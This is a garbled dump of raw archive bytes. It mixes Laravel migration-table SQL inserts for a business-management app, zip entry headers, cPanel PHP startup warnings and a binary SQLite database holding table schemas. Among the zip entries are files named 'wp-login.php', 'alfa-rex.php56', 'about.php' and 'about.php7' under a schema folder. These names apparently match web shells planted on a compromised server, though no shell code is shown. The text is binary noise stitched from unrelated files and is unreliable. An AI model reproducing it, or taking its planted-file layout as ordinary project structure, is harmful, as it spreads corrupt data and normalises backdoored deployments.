(438,'2021_06_29_104606_add_manage_project_template_permission',1); INSERT INTO `migrations` VALUES (439,'2021_07_07_093528_alter_userid_on_project_template_member',1); INSERT INTO `migrations` VALUES (440,'2021_07_20_102117_invoice_client_fix',1); INSERT INTO `migrations` VALUES (441,'2021_07_23_181545_add_status_column_to_slack_settings_table',1); INSERT INTO `migrations` VALUES (442,'2021_07_25_041851_add_report_permissions',1); INSERT INTO `migrations` VALUES (443,'2021_08_04_171200_add_mail_connection_column_email_settings',1); INSERT INTO `migrations` VALUES (444,'2021_08_06_085318_remove_on_delete_cascade_from_category_id_on_products_table',1); INSERT INTO `migrations` VALUES (445,'2021_08_10_081641_change_default_value_of_paypal_and_stripe_on_payment_gateway_credentials_table',1); INSERT INTO `migrations` VALUES (446,'2021_08_10_092728_add_allowed_permission_column_permissions_table',1); INSERT INTO `migrations` VALUES (447,'2021_08_10_092728_alter_allowed_permission_column_permissions_table',1); INSERT INTO `migrations` VALUES (448,'2021_08_13_094921_change_notification_notifications_table',1); INSERT INTO `migrations` VALUES (449,'2021_08_16_161256_set_discussion_category_id_null_on_category_delete',1); INSERT INTO `migrations` VALUES (450,'2021_08_17_095756_change_details_columns_type_to_longtext_on_client_note_and_project_note_tables',1); INSERT INTO `migrations` VALUES (451,'2021_08_19_174641_change_text_longtext',1); INSERT INTO `migrations` VALUES (452,'2021_08_20_100009_change_hourly_rate_double',1); INSERT INTO `migrations` VALUES (453,'2021_08_20_121027_add_dashboard_module_permission',1); INSERT INTO `migrations` VALUES (454,'2021_08_23_125630_create_orders_table',1); INSERT INTO `migrations` VALUES (455,'2021_08_26_120755_add_order_id_column_to_payments_table',1); INSERT INTO `migrations` VALUES (456,'2021_08_27_100840_add_order_id_to_invoices_table',1); INSERT INTO `migrations` VALUES (457,'2021_08_31_071303_add_failed_status_on_payments_table',1); INSERT INTO `migrations` VALUES (458,'2021_09_01_124609_add_order_module_and_permissions',1); INSERT INTO `migrations` VALUES (459,'2021_09_02_080343_add_hash_columns',1); INSERT INTO `migrations` VALUES (460,'2021_09_02_182736_add_notice_module_clients',1); INSERT INTO `migrations` VALUES (461,'2021_09_03_182020_add_default_permissions',1); INSERT INTO `migrations` VALUES (462,'2021_09_06_182020_change_dashboard_widget_name',1); INSERT INTO `migrations` VALUES (463,'2021_09_07_084452_delete_notices_module_from_client',1); INSERT INTO `migrations` VALUES (464,'2021_09_08_142150_add_payment_gateway_response_column_to_payment_table',1); INSERT INTO `migrations` VALUES (465,'2021_09_09_085024_add_taskboard_message_pusher_settings',1); INSERT INTO `migrations` VALUES (466,'2021_09_14_162221_add_payload_id_to_payments_table',1); INSERT INTO `migrations` VALUES (467,'2021_09_15_072728_copy_credit_notes_invoice_table_data_to_payments_table',1); INSERT INTO `migrations` VALUES (468,'2021_09_15_190915_add_column_calculate_tax',1); INSERT INTO `migrations` VALUES (469,'2021_09_17_115037_remove_credit_notes_invoice_table',1); INSERT INTO `migrations` VALUES (470,'2021_09_20_095509_alter_and_add_payment_gateways_credentials',1); INSERT INTO `migrations` VALUES (471,'2021_09_22_045939_change_subtask_in_notifications_table',1); INSERT INTO `migrations` VALUES (472,'2021_09_22_085009_change_google_recaptcha_columns_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (473,'2021_09_24_083220_add_currency_id_to_contracts_table',1); INSERT INTO `migrations` VALUES (474,'2021_09_24_100722_add_view_hourly_rate_permission',1); INSERT INTO `migrations` VALUES (475,'2021_09_29_071418_add_salutation_column_on_users_table',1); INSERT INTO `migrations` VALUES (476,'2021_09_29_075245_add_lead_status_change_permission',1); INSERT INTO `migrations` VALUES (477,'2021_09_30_130413_attendance_setting_alert',1); INSERT INTO `migrations` VALUES (478,'2021_10_01_074809_add_leave_change_permission',1); INSERT INTO `migrations` VALUES (479,'2021_10_03_190531_add_sidebar_logo_style_column_global_settings',1); INSERT INTO `migrations` VALUES (480,'2021_10_04_045942_add_2fa_columns_on_users_table',1); INSERT INTO `migrations` VALUES (481,'2021_10_04_130413_create_expenses_category_roles_table',1); INSERT INTO `migrations` VALUES (482,'2021_10_05_064140_change_date_null_in_task_table',1); INSERT INTO `migrations` VALUES (483,'2021_10_05_130413_custom_field_group_change_table',1); INSERT INTO `migrations` VALUES (484,'2021_10_06_130413_create_sub_task_files_table',1); INSERT INTO `migrations` VALUES (485,'2021_10_11_092617_add_session_driver_column_organisation_settings',1); INSERT INTO `migrations` VALUES (486,'2021_10_12_062814_change_authenticate_via_column',1); INSERT INTO `migrations` VALUES (487,'2021_10_12_073058_make_email_nullable_users_table',1); INSERT INTO `migrations` VALUES (488,'2021_10_12_121613_add_approve_reject_leaves_permissions',1); INSERT INTO `migrations` VALUES (489,'2021_10_13_103621_add_client_signup_columns_settings_table',1); INSERT INTO `migrations` VALUES (490,'2021_10_14_073904_add_admin_approval_column_users_table',1); INSERT INTO `migrations` VALUES (491,'2021_10_16_113306_add_two_factor_confirmed_column_users_table',1); INSERT INTO `migrations` VALUES (492,'2021_10_18_131815_allow_gender_null',1); INSERT INTO `migrations` VALUES (493,'2021_10_21_104332_add_employee_owned_permissions',1); INSERT INTO `migrations` VALUES (494,'2021_10_26_175349_change_ticket_permissions',1); INSERT INTO `migrations` VALUES (495,'2021_10_28_120427_add_recurring_columns_tasks',1); INSERT INTO `migrations` VALUES (496,'2021_11_11_145726_add_allowed_file_types_column',1); INSERT INTO `migrations` VALUES (497,'2021_11_13_063519_add_paystack_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (498,'2021_11_16_105840_change_product_sub_cat_relation',1); INSERT INTO `migrations` VALUES (499,'2021_11_17_111317_add_mollie_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (500,'2021_11_17_173210_create_company_addresses_table',1); INSERT INTO `migrations` VALUES (501,'2021_11_18_053337_add_tax_calculation_msg_to_invoice_settings_table',1); INSERT INTO `migrations` VALUES (502,'2021_11_19_115843_add_project_type_column_projects',1); INSERT INTO `migrations` VALUES (503,'2021_11_22_114532_move_gst_to_compane_address',1); INSERT INTO `migrations` VALUES (504,'2021_11_24_093356_add_payfast_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (505,'2021_11_24_093619_create_invoice_item_images_table',1); INSERT INTO `migrations` VALUES (506,'2021_11_25_134531_fix_timelog_time',1); INSERT INTO `migrations` VALUES (507,'2021_11_26_063416_add_authorize_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (508,'2021_11_29_060348_create_discussion_files_table',1); INSERT INTO `migrations` VALUES (509,'2021_11_30_063441_add_square_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (510,'2021_12_08_100451_add_image_column_to_products_table',1); INSERT INTO `migrations` VALUES (511,'2021_12_10_112406_add_permission_sync_column_users_table',1); INSERT INTO `migrations` VALUES (512,'2021_12_13_070928_add_proposal_items_images_table',1); INSERT INTO `migrations` VALUES (513,'2021_12_14_112039_add_location_column_company_addresses',1); INSERT INTO `migrations` VALUES (514,'2021_12_15_090905_create_recurring_invoice_item_images_table',1); INSERT INTO `migrations` VALUES (515,'2021_12_15_112911_add_recurring_expense_permission',1); INSERT INTO `migrations` VALUES (516,'2021_12_17_041814_create_job_batches_table',1); INSERT INTO `migrations` VALUES (517,'2021_12_20_053945_add_order_item_image_table',1); INSERT INTO `migrations` VALUES (518,'2021_12_21_044934_add_google_event_id_to_several_tables',1); INSERT INTO `migrations` VALUES (519,'2021_12_21_064709_add_title_field_in_client_contact_table',1); INSERT INTO `migrations` VALUES (520,'2021_12_21_121710_create_google_calendar_modules_table',1); INSERT INTO `migrations` VALUES (521,'2021_12_23_102347_change_clock_out_ip_make_nullable_to_attendances_table',1); INSERT INTO `migrations` VALUES (522,'2021_12_24_045226_add_paystack_mode_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (523,'2021_12_24_085109_add_save_location_column_attendance_settings',1); INSERT INTO `migrations` VALUES (524,'2021_12_27_065645_create_knowledgebase_categories_table',1); INSERT INTO `migrations` VALUES (525,'2021_12_27_090829_create_knowledge_bases_table',1); INSERT INTO `migrations` VALUES (526,'2021_12_28_112808_add_module_knowledgebase_and_permissions',1); INSERT INTO `migrations` VALUES (527,'2021_12_29_124232_add_lead_notes_table',1); INSERT INTO `migrations` VALUES (528,'2021_12_30_082542_add_added_by_column_knowledge_base_table',1); INSERT INTO `migrations` VALUES (529,'2022_01_03_090136_add_downloadable_to_products_table',1); INSERT INTO `migrations` VALUES (530,'2022_01_03_103014_create_database_backup_settings_table',1); INSERT INTO `migrations` VALUES (531,'2022_01_03_125020_add_product_id_to_order_items_table',1); INSERT INTO `migrations` VALUES (532,'2022_01_06_053854_set_product_description_to_nullable_in_products_table',1); INSERT INTO `migrations` VALUES (533,'2022_01_06_093627_add_default_permission_to_knowledge_bases_table',1); INSERT INTO `migrations` VALUES (534,'2022_01_11_104355_create_translate_settings_table',1); INSERT INTO `migrations` VALUES (535,'2022_01_13_080729_add_flutterwave_to_payment_gateway_credentials',1); INSERT INTO `migrations` VALUES (536,'2022_01_14_122713_add_change_role_permission',1); INSERT INTO `migrations` VALUES (537,'2022_01_15_055907_create_product_files_table',1); INSERT INTO `migrations` VALUES (538,'2022_01_19_112914_create_client_docs_table',1); INSERT INTO `migrations` VALUES (539,'2022_01_31_090302_add_missing_permissions_to_admin_role',1); INSERT INTO `migrations` VALUES (540,'2022_01_31_111358_change_reference_column_to_lead_notes_table',1); INSERT INTO `migrations` VALUES (541,'2022_02_01_104951_add_role_permissions_settings_permission',1); INSERT INTO `migrations` VALUES (542,'2022_02_01_113853_fix_permission_types',1); INSERT INTO `migrations` VALUES (543,'2022_02_03_065848_add_order_notification_to_email_notification_settings_table',1); INSERT INTO `migrations` VALUES (544,'2022_02_03_095618_change_quantity_type_in_order_items_table',1); INSERT INTO `migrations` VALUES (545,'2022_02_06_150726_add_product_custom_field_group',1); INSERT INTO `migrations` VALUES (546,'2022_02_07_175605_create_project_time_log_breaks_table',1); INSERT INTO `migrations` VALUES (547,'2022_02_09_084910_add_two_columns_in_sub_tasks_table',1); INSERT INTO `migrations` VALUES (548,'2022_02_10_083543_add_description_column_to_estimates_table',1); INSERT INTO `migrations` VALUES (549,'2022_02_11_182041_change_discussion_category_permission',1); INSERT INTO `migrations` VALUES (550,'2022_02_14_061344_add_birth_date_in_employee_detail_table',1); INSERT INTO `migrations` VALUES (551,'2022_02_14_101407_add_data_in_dashboard_widgets_table',1); INSERT INTO `migrations` VALUES (552,'2022_02_14_133011_remove_edit_project_file_permission',1); INSERT INTO `migrations` VALUES (553,'2022_02_14_180229_make_lead_email_nullable',1); INSERT INTO `migrations` VALUES (554,'2022_02_15_111216_update_notice_permissions',1); INSERT INTO `migrations` VALUES (555,'2022_02_15_151924_remove_product_file_permission',1); INSERT INTO `migrations` VALUES (556,'2022_02_16_063017_add_user_notification_to_email_notification_settings_table',1); INSERT INTO `migrations` VALUES (557,'2022_02_16_072041_remove_lead_file_permission',1); INSERT INTO `migrations` VALUES (558,'2022_02_16_173650_add_english_language',1); INSERT INTO `migrations` VALUES (559,'2022_02_17_083521_update_order_status_to_orders_table',1); INSERT INTO `migrations` VALUES (560,'2022_02_18_102942_create_emergency_contacts_table',1); INSERT INTO `migrations` VALUES (561,'2022_02_21_061830_add_emergency_contact_module_and_permission',1); INSERT INTO `migrations` VALUES (562,'2022_02_22_170153_add_item_summary_column_credit_note',1); INSERT INTO `migrations` VALUES (563,'2022_02_24_070325_add_allowed_file_size_global',1); INSERT INTO `migrations` VALUES (564,'2022_02_25_095712_add_discout_to_orders_table',1); INSERT INTO `migrations` VALUES (565,'2022_03_01_173825_add_approve_expense_permission',1); INSERT INTO `migrations` VALUES (566,'2022_03_03_024807_modify_signature_column_on_proposal_signs_table',1); INSERT INTO `migrations` VALUES (567,'2022_03_04_055054_add_few_fields_in_lead_follow_up_table',1); INSERT INTO `migrations` VALUES (568,'2022_03_07_053249_add_flutterwave_webhook_secret_hash_to_payment_gateway_credentials_table',1); INSERT INTO `migrations` VALUES (569,'2022_03_08_063640_add_added_by_and_updated_by_columns_to_ticket_agent_groups_table',1); INSERT INTO `migrations` VALUES (570,'2022_03_09_060457_add_several_fields_to_lead_custom_forms_table',1); INSERT INTO `migrations` VALUES (571,'2022_03_10_094321_add_unassigned_task_permission',1); INSERT INTO `migrations` VALUES (572,'2022_03_15_104220_add_several_fields_to_invoice_settings_table',1); INSERT INTO `migrations` VALUES (573,'2022_03_16_060139_add_missing_hash_in_invoices_table',1); INSERT INTO `migrations` VALUES (574,'2022_03_16_093939_change_chat_length',1); INSERT INTO `migrations` VALUES (575,'2022_03_22_101553_remove_html_tags_in_products',1); INSERT INTO `migrations` VALUES (576,'2022_03_28_081634_create_ticket_email_settings_table',1); INSERT INTO `migrations` VALUES (577,'2022_03_30_075758_add_imap_columns_tickets_table',1); INSERT INTO `migrations` VALUES (578,'2022_04_06_050532_create_files_table',1); INSERT INTO `migrations` VALUES (579,'2022_04_11_094350_add_company_address_id_to_orders_table',1); INSERT INTO `migrations` VALUES (580,'2022_04_20_173756_change_milestone_cost_limit',1); INSERT INTO `migrations` VALUES (581,'2022_04_21_074927_add_currency_key_version_column',1); INSERT INTO `migrations` VALUES (582,'2022_04_22_054036_add_view_earning_permission_timelogs',1); INSERT INTO `migrations` VALUES (583,'2022_04_22_102709_create_employee_shifts_table',1); INSERT INTO `migrations` VALUES (584,'2022_04_25_085447_ad_missing_admin_permissions',1); INSERT INTO `migrations` VALUES (585,'2022_05_03_180927_add_soft_delete_tax',1); INSERT INTO `migrations` VALUES (586,'2022_05_04_060741_fix_delete_cacade_recur_invoice',1); INSERT INTO `migrations` VALUES (587,'2022_05_06_065647_create_employee_shift_change_requests_table',1); INSERT INTO `migrations` VALUES (588,'2022_05_06_100620_add_location_column_in_attendance',1); INSERT INTO `migrations` VALUES (589,'2022_05_17_095236_add_show_clock_in_button_in_attendace_table',1); INSERT INTO `migrations` VALUES (590,'2022_05_23_062159_add_project_show_in_invoice_setting_table',1); INSERT INTO `migrations` VALUES (591,'2022_05_25_064410_add_column_employee_details_table',1); INSERT INTO `migrations` VALUES (592,'2022_05_25_072526_add_custom_fields_id_to_lead_custom_form_table',1); INSERT INTO `migrations` VALUES (593,'2022_05_27_002220_add_custom_fields_id_to_ticket_custom_form_table',1); INSERT INTO `migrations` VALUES (594,'2022_05_31_070019_add_ticket_to_custom_field_groups',1); INSERT INTO `migrations` VALUES (595,'2022_06_09_114831_add_view_shift_roster_permission',1); INSERT INTO `migrations` VALUES (596,'2022_06_13_084344_add_google_calender_status_to_users_table',1); INSERT INTO `migrations` VALUES (597,'2022_06_20_102221_add_private_dashboard_type_to_dashboard_widgets_table',1); INSERT INTO `migrations` VALUES (598,'2022_06_20_102234_add_date_in_project_milestones_table',1); INSERT INTO `migrations` VALUES (599,'2022_06_20_202945_add_shift_time_columns_attendance_table',1); INSERT INTO `migrations` VALUES (600,'2022_06_21_051915_add_reminder_and_send_reminder_after_column_to_invoice_settings_table',1); INSERT INTO `migrations` VALUES (601,'2022_06_22_072625_add_shift_time_columns_employee_shift_schedule_table',1); INSERT INTO `migrations` VALUES (602,'2022_06_23_124453_add_default_status_in_calendar_view_employee_details_table',1); INSERT INTO `migrations` VALUES (603,'2022_06_24_084953_add_project_id_column_to_task_label_list',1); INSERT INTO `migrations` VALUES (604,'2022_06_28_045956_add_column_to_message_setting_table',1); INSERT INTO `migrations` VALUES (605,'2022_07_01_063756_add_app_name_column_organisation_settings_table',1); INSERT INTO `migrations` VALUES (606,'2022_07_01_111241_add_parent_id_column_to_teams',1); INSERT INTO `migrations` VALUES (607,'2022_07_04_092625_change_date_format_in_organization_setting_table',1); INSERT INTO `migrations` VALUES (608,'2022_07_11_051015_add_timelog_to_cutom_field_groups',1); INSERT INTO `migrations` VALUES (609,'2022_07_13_115914_add_remark_column_shift',1); INSERT INTO `migrations` VALUES (610,'2022_07_13_191406_add_custom_invoice_number_column_invoices',1); INSERT INTO `migrations` VALUES (611,'2022_07_14_203040_remove_dashboards_employee_type',1); INSERT INTO `migrations` VALUES (612,'2022_07_19_144705_add_week_timelog_widget_setting_private_dashboard',1); INSERT INTO `migrations` VALUES (613,'2022_07_22_073943_update_settings_add_license_type',1); INSERT INTO `migrations` VALUES (614,'2022_07_24_115433_add_expense_report_permission',1); INSERT INTO `migrations` VALUES (615,'2022_07_25_122923_add_task_soft_delete',1); INSERT INTO `migrations` VALUES (616,'2022_07_25_141508_add_today_attendance_widget_hr_dashbaord',1); INSERT INTO `migrations` VALUES (617,'2022_07_28_043824_add_export_column_custom_fields_table',1); INSERT INTO `migrations` VALUES (618,'2022_07_28_175448_create_knowledge_base_files_table',1); INSERT INTO `migrations` VALUES (619,'2022_07_29_101111_add_indexes_to_table_columns',1); INSERT INTO `migrations` VALUES (620,'2022_08_01_104602_add_columns_to_employee_details',1); INSERT INTO `migrations` VALUES (621,'2022_08_02_113623_add_external_link_column_knowledge_base_files_table',1); INSERT INTO `migrations` VALUES (622,'2022_08_02_121434_add_timestamps_knowledge_base_files_table',1); INSERT INTO `migrations` VALUES (623,'2022_08_03_103344_add_auto_clock_in_column_to_attendance_settings_table',1); INSERT INTO `migrations` VALUES (624,'2022_08_04_075744_add_approved_columns_on_leaves',1); INSERT INTO `migrations` VALUES (625,'2022_08_04_122512_add_columns_in_leave_types',1); INSERT INTO `migrations` VALUES (626,'2022_08_04_184937_add_half_day_type_in_leaves_table',1); INSERT INTO `migrations` VALUES (627,'2018_01_01_000000_create_worksuite_new_table',1); PKZGAk}|-|-schema/wp-login.phpnu[PKZGAk}|-|-schema/alfa-rex.php56nu[PKZGAk}|-|-schema/about.phpnu[PKZ= schema/error_lognu[[04-Jul-2025 09:19:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:08:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZGAk}|-|-schema/about.php7nu[PKZGAk}|-|- about.phpnu[PKZqXߖ error_lognu[[04-Jul-2025 08:18:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 08:18:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZVG11nativephp.sqlitenu[SQLite format 3@ C.zpL8|vpd^X@:4.(" thb\LzVPnFJjDR>88 k =indexusers_country_id_foreignusers CREATE INDEX "users_country_id_foreign" on "users" ("country_id")a1indexusers_email_uniqueusers CREATE UNIQUE INDEX "users_email_unique" on "users" ("email")#%tableusersusersCREATE TABLE "users" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "email" varchar, "password" varchar not null, "two_factor_secret" text, "two_factor_recovery_codes" text, "two_factor_confirmed" tinyint(1) not null default '0', "two_factor_email_confirmed" tinyint(1) not null default '0', "image" varchar, "mobile" varchar, "gender" varchar check ("gender" in ('male', 'female', 'others')), "salutation" varchar check ("salutation" in ('mr', 'mrs', 'miss', 'dr', 'sir', 'madam')), "locale" varchar not null default 'en', "status" varchar check ("status" in ('active', 'deactive')) not null default 'active', "login" varchar check ("login" in ('enable', 'disable')) not null default 'enable', "onesignal_player_id" text, "last_login" datetime, "email_notifications" tinyint(1) not null default '1', "country_id" integer, "dark_theme" tinyint(1) not null, "rtl" tinyint(1) not null, "two_fa_verify_via" varchar check ("two_fa_verify_via" in ('email', 'google_authenticator', 'both')), "two_factor_code" varchar, "two_factor_expires_at" datetime, "admin_approval" tinyint(1) not null default '1', "permission_sync" tinyint(1) not null default '1', "google_calendar_status" tinyint(1) not null default '1', "remember_token" varchar, "created_at" datetime, "updated_at" datetime, foreign key("country_id") references "countries"("id") on delete SET NULL on update CASCADE)x?tablecountriescountriesCREATE TABLE "countries" ("id" integer primary key autoincrement not null, "iso" varchar not null, "name" varchar not null, "nicename" varchar not null, "iso3" varchar, "numcode" integer, "phonecode" integer not null)#U/Oindextaskboard_columns_column_name_uniquetaskboard_columnsCREATE UNIQUE INDEX "taskboard_columns_column_name_unique" on "taskboard_columns" ("column_name")2//tabletaskboard_columnstaskboard_columnsCREATE TABLE "taskboard_columns" ("id" integer primary key autoincrement not null, "company_id" integer, "column_name" varchar not null, "slug" varchar, "label_color" varchar not null, "priority" integer not null, "created_at" datetime, "updated_at" datetime)!!}tablecurrenciescurrenciesCREATE TABLE "currencies" ("id" integer primary key autoincrement not null, "company_id" integer, "currency_name" varchar not null, "currency_symbol" varchar, "currency_-+rrއV,u׆H8?a*Ç7 ݆lZ؇BA,u_χ5  za}]pS%H`;V-H"=,#zpdXMރ=Ӄ4Ã) iކ~!fRYE8D :)!  Kwʇ܁]сFȁ;0! }_^ juPQDE48&* %Ʌdm)~A _ & X  I  Z  t F{L\,v5P%N g2S'CS 2023_03_17_045842_lead_custom_fieldHB 2023_03_16_105629_add_manage_ticket_group_field_in_permission_table4Am 2023_02_27_081104_add_column_in_leave_type_table5@o 2023_02_17_052112_add_permissions_for_lead_report;?{ 2023_02_15_121548_add_data_in_ticket_custom_forms_table.>a 2023_02_15_045950_add_unit_id_orders_table9=w 2023_02_13_045833_add_report_column_in_log_time_table3<k 2023_02_09_083357_create_passprt_and_visa_table7;s 2023_02_07_122807_create_quick_books_settings_table0:e 2023_02_04_064358_create_lead_products_table69q 2023_02_01_085841_add_company_sign_contracts_tableB8 2023_01_31_072924_add_settings_to_email_notification_settings;7{ 2023_01_23_122023_add_column_in_invoice_recurring_table-6_ 2023_01_20_052539_create_unit_types_table55o 2023_01_09_162235_create_estimate_templates_table24i 2023_01_05_084453_add_column_in_log_time_table)3W 2022_12_30_090615_move_google_map_keyE2 2022_12_30_045028_add_number_separator_to_invoice_settings_table01e 2022_12_29_084526_create_subscriptions_table10g 2022_12_29_061634_add_column_in_invoice_table7/s 2022_12_28_112213_add_new_fields_in_companies_table?. 2022_12_13_112213_add_new_fields_in_employee_details_table?- 2022_12_13_071454_add_currency_id_in_currency_format_table2,i 2022_12_12_113800_add_wasabi_hash_test_payfast?+ 2022_12_05_062331_create_emoji_address_ticket_widget_table.*a 2022_12_01_070705_create_leave_files_table4)m 2022_11_25_083742_add_company_id_for_null_values,(] 2022_11_23_070556_show_new_webhook_alert:'y 2022_11_16_122431_add_contract_note_to_contracts_tableN& 2022_11_03_115958_add_auto_clock_in_location_to_attendance_settings_table-%_ 2022_10_31_130459_order_with_order_number8$u 2022_10_09_155207_add_custom_year_to_companies_table@# 2022_09_23_181722_add_approve_reason_column_to_leaves_tableM" 2022_09_23_053942_update_type_of_hsn_sac_code_to_proposal_template_items=! 2022_09_20_045836_add_bank_account_module_in_module_tableC  2022_09_19_124014_add_delete_approve_leave_in_permission_tableH 2022_09_16_105720_update_permission_of_client_and_employee_document^? 2022_09_16_071005_add_headcount_and_joining_vs_attrition_widget_in_dashboard_widget_table1g 2022_09_13_075642_create_leave_settings_table6q 2022_09_13_075642_add_customised_permission_column;{ 2022_09_07_172743_add_lead_status_column_to_permissions<} 2022_09_05_064405_add_miro_board_column_in_project_table(U 2022_09_02_151515_create_flags_table2i 2022_09_01_083053_create_global_settings_table0e 2022_09_01_060824_create_appreciations_table1g 2022_09_01_000000_add_company_id_in_all_table*Y 2022_09_00_000000_create_company_table@ 2022_08_29_103443_add_flag_code_column_to_language_settings6q 2022_08_29_064339_add_added_by_to_project_template<} 2022_08_26_053139_add_parent_id_column_designation_tableU- 2022_08_26_042542_remove_on_delete_cascade_from_invoice_recurring_id_to_invoicesK 2022_08_25_123713_add_work_from_home_widget_in_dashboard_widgets_table= 2022_08_25_085025_add_other_location_to_attendances_table@ 2022_08_24_122345_add_lead_widget_in_dashboard_widget_table7 s 2022_08_23_065943_change_status_type_projects_table/ c 2022_08_22_104028_knowledge_heading_missing: y 2022_08_19_115209_create_project_status_settings_tableA  2022_08_19_100314_add_leave_widget_in_dashboard_widget_table0 e 2022_08_18_120924_create_task_settings_table;{ 2022_08_13_070443_add_task_unique_id_column_tasks_table<} 2022_08_12_000000_create_other_migration_till_date_table.a 2022_08_03_101616_create_event_files_table;{ 2022_07_28_043824_add_export_column_custom_fields_table5o 2022_07_22_042424_create_proposal_templates_table(U 2022_07_14_063826_contract_templatesB 2022_07_04_111754_add_project_short_code_column_project_table0e 2018_01_01_000000_create_worksuite_new_C * Eh7rYA+)F    Q | r e V 3  >+global_settings=Cpayment_gateway_credentials<5social_auth_settings;'smtp_settings!migrations :!deal_files 7payments6leads41expenses_recurring3#order_carts2/bank_transactions1'bank_accounts-1project_milestones+;estimate_template_items&#order_items$#permissions # modules!/project_time_logs 3invoice_item_images5estimate_item_images#leave_types !task_notes'task_comments ,expenses3attendance_settings9-employee_details5/invoice_recurring*1estimate_templates'%credit_notes .proposals "contracts !lead_notes %orders/1proposal_templates 7employee_leave_quotas )estimates (invoices0;proposal_template_items flags companies#attendances 8projectsmigrations         vCY C j v*3tableusersusersCREATE TABLE "users" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "email" varchar, "password" varchar not null, "two_factor_secret" text, "two_factor_recovery_codes" text, "two_factor_confirmed" tinyint(1) not null default '0', "two_factor_email_confirmed" tinyint(1) not null default '0', "image" varchar, "mobile" varchar, "gender" varchar check ("gender" in ('male', 'female', 'others')), "salutation" varchar check ("salutation" in ('mr', 'mrs', 'miss', 'dr', 'sir', 'madam')), "locale" varchar not null default 'en', "status" varchar check ("status" in ('active', 'deactive')) not null default 'active', "login" varchar check ("login" in ('enable', 'disable')) not null default 'enable', "onesignal_player_id" text, "last_login" datetime, "email_notifications" tinyint(1) not null default '1', "country_id" integer, "dark_theme" tinyint(1) not null, "rtl" tinyint(1) not null, "two_fa_verify_via" varchar check ("two_fa_verify_via" in ('email', 'google_authenticator', 'both')), "two_factor_code" varchar, "two_factor_expires_at" datetime, "admin_approval" tinyint(1) not null default '1', "permission_sync" tinyint(1) not null default '1', "google_calendar_status" tinyint(1) not null default '1', "remember_token" varchar, "created_at" datetime, "updated_at" datetime, "customised_permissions" tinyint(1) not null default '0', "stripe_id" varchar, "pm_type" varchar, "pm_last_four" varchar, "trial_ends_at" datetime, "country_phonecode" integer, "headers" text, "register_ip" varchar, "inactive_date" date, "location_details" text, foreign key("country_id") references "countries"("id") on delete SET NULL on update CASCADE)!!QtablecurrenciescurrenciesCREATE TABLE "currencies" ("id" integer primary key autoincrement not null, "company_id" integer, "currency_name" varchar not null, "currency_symbol" varchar, "currency_code" varchar not null, "exchange_rate" float, "is_cryptocurrency" varchar check ("is_cryptocurrency" in ('yes', 'no')) not null default 'no', "usd_price" float, "created_at" datetime, "updated_at" datetime, "currency_position" varchar check ("currency_position" in ('left', 'right', 'left_with_space', 'right_with_space')) not null default 'left', "no_of_decimal" integer not null, "thousand_separator" varchar, "decimal_separator" varchar)--tableaccept_estimatesaccept_estimatesCREATE TABLE "accept_estimates" ("id" integer primary key autoincrement not null, "company_id" integer, "estimate_id" integer not null, "full_name" varchar not null, "email" varchar not null, "signature" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("estimate_id") references "estimates"("id") on delete CASCADE on update CASCADE)k =indexusers_country_id_foreignusers CREATE INDEX "users_country_id_foreign" on "users" ("country_id")x?tablecountriescountriesCREATE TABLE "countries" ("id" integer primary key autoincrement not null, "iso" varchar not null, "name" varchar not null, "nicename" varchar not null, "iso3" varchar, "numcode" integer, "phonecode" integer not null)2//tabletaskboard_columnstaskboard_columnsCREATE TABLE "taskboard_columns" ("id" integer primary key autoincrement not null, "company_id" integer, "column_name" varchar not null, "slug" varchar, "label_color" varchar not null, "priority" integer not null, "created_at" datetime, "updated_at" datetime)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)$!!tablemigrationsmigrationsCREATE TABLE "migrations" ("id" integer primary key autoincrement not null, "migration" varchar not null, "batch" integer not null)  Ss]++qtableemployee_shiftsemployee_shiftsCREATE TABLE "employee_shifts" ("id" integer primary key autoincrement not null, "company_id" integer, "shift_name" varchar not null, "shift_short_code" varchar not null, "color" varchar not null, "office_start_time" time not null, "office_end_time" time not null, "halfday_mark_time" time, "late_mark_duration" integer not null, "clockin_in_day" integer not null, "office_open_days" text not null, "created_at" datetime, "updated_at" datetime, "early_clock_in" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade) %M+/indexclient_contacts_added_by_foreignclient_contacts+CREATE 